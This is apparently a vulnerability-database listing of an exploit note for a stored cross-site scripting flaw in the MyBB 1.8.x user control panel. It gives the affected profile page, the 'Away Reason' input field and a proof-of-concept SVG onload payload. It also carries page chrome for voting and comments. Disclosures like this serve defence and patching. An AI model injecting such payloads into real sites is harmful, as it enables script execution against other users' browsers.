MyBB 1.8.x UserCP XSS Vulnerability

2019.12.06

AtakBey (TR)

Risk: Low

Local: Yes

Remote: Yes

CVE: N/A

CWE: N/A

# Exploit Title:MyBB 1.8.x UserCP XSS Vulnerability
# Exploit Author:AtakBey
# Vendor Homepage:https://mybb.com/
# Tested on : Windows 10
# Date : 05.12.2019
# My Forum: http://ak74security.org/
------------------------------------------------------------------------------------------------------------------------------------------------
XSS Vuln.

yoursite.com/usercp.php?action=profile

Away Information Table >
Away Reason Input : "><svg onload=alert(1)>
ScreenShot: http://prntscr.com/q6iuwg

------------------------------------------------------------------------------------------------------------------------------------------------
#Discovered by AtakBey and ak74security.org

See this note in RAW Version

Vote for this issue:

100%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

MyBB 1.8.x UserCP XSS Vulnerability

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.